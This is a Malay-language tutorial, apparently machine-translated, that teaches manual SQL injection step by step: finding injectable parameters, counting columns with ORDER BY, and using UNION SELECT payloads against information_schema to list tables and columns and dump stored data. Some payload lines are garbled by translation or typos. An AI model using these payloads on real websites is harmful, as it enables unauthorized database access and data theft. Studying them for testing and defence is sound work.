Rumah > Artikel > pangkalan data > Mari kita bercakap tentang proses suntikan SQL manual yang mudah
Artikel ini membawakan kepada anda isu berkaitan suntikan manual dalam SQL, termasuk isu yang berkaitan dengan menentukan titik suntikan dan menentukan jenis suntikan saya harap ia akan membantu semua orang.
1. Kaedah tanda petikan tunggal: tambah satu tanda petikan terus selepas URL. penyemak imbas akan mengembalikan beberapa maklumat pengecualian, ini bermakna pautan mungkin mempunyai kerentanan suntikan sql
2.1=1 dan 1=2: tambah dan 1=1 kepada parameter dapatkan selepas URL, paparan adalah normal , gantikan 1=1 dengan 1 =2, paparan tidak normal, menunjukkan bahawa terdapat suntikan SQL dalam halaman web.
1 Suntikan angka: nilai pembolehubah yang disuntik tidak perlu disertakan dalam petikan, seperti
select * from user where id=$id;
2 suntikan: pembolehubah yang disuntik Ia akan dibalut dengan tanda petikan, seperti `
select * from user where username='$username';`
Pastikan anda menutup tanda petikan semasa menyuntik.
3. Suntikan carian:
select * from user where username like '%$pass%';
Bina pernyataan sql sebagai
select * from user where username like '%$pass%' union select语句 '%%';
, iaitu, pembolehubah yang dipindahkan ialah pass%' pernyataan pilih kesatuan '% untuk membentuk penutupan.
Tentukan sama ada kaedah penyerahan titik suntikan adalah dapatkan, pos atau kuki melalui tangkapan paket dan kaedah lain.
Gunakan tertib demi penyataan untuk menanyakan berapa banyak medan yang terdapat dalam pangkalan data Anda boleh menentukan bilangan medan pangkalan data melalui percubaan berterusan oeder dengan 9, halaman Apabila ralat dilaporkan dan pesanan sebanyak 8 dimasukkan, halaman dipaparkan seperti biasa, iaitu, terdapat 8 medan dalam pangkalan data.
Contohnya, pernyataan pertanyaan ialah: select * from user where id='$id';
Anda boleh membina input berikut: (id = ') ' order by 3 ' --
Maksudnya, pernyataan pertanyaan ialah: select * from user where id='' order by 3 '--'
Gunakan pernyataan pilih kesatuan untuk menanyakan pengguna pengguna semasa(), pangkalan data pangkalan data(), versi versi pangkalan data(), @@version_compile_os sistem pengendalian pelayan dan maklumat lain
versi versi adalah sangat penting, jika Jika versi melebihi 5.0, anda boleh menggunakan pustaka information_schema untuk menanya maklumat yang dikehendaki dengan mudah
Pernyataan pembinaan:
select * from user where id='' union select user(),database(),version()+--+;
5.0 Pustaka information_schema yang disertakan dengan pangkalan data mysql versi di atas menyimpan semua nama jadual dan maklumat tersenarai dalam pangkalan data.
Seterusnya kita harus menyemak maklumat semua jadual bernama jadual berdasarkan hasil pertanyaan pangkalan data semasa dalam langkah kelima (contohnya, pangkalan data ialah pangkalan data_1). Information_schema.tables
: Jadual yang merekodkan semua maklumat nama jadual dalam pangkalan data.
Pernyataan pertanyaan yang dibina adalah seperti berikut:
Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--
Hasil pertanyaan ialah: maklumat nama jadual dalam pangkalan data semasa yang ditanya dalam langkah kelima. Information_schema.columns:
merekodkan maklumat nama lajur semua jadual dalam pangkalan data
Seterusnya, anda harus menanyakan maklumat nama lajurnya berdasarkan maklumat nama jadual yang diperoleh daripada pertanyaan di atas (contohnya, jadual ialah table_1) . Pernyataan yang dibina adalah seperti berikut:
Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--
Selepas menanyakan nama lajur, anda boleh mengetahui terus maklumat yang disimpan dalam jadual melalui pertanyaan bersama (contohnya, nama lajur yang ditemui ialah lajur_1, lajur_2) dan bina pernyataan
Selcet * from user where id='' union select 1,column_1,column_2 from tables;--
Anda boleh menanyakan data yang disimpan bagi jadual yang ditentukan dalam pangkalan data yang ditentukan
Pembelajaran yang disyorkan: tutorial video mysql
Atas ialah kandungan terperinci Mari kita bercakap tentang proses suntikan SQL manual yang mudah. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!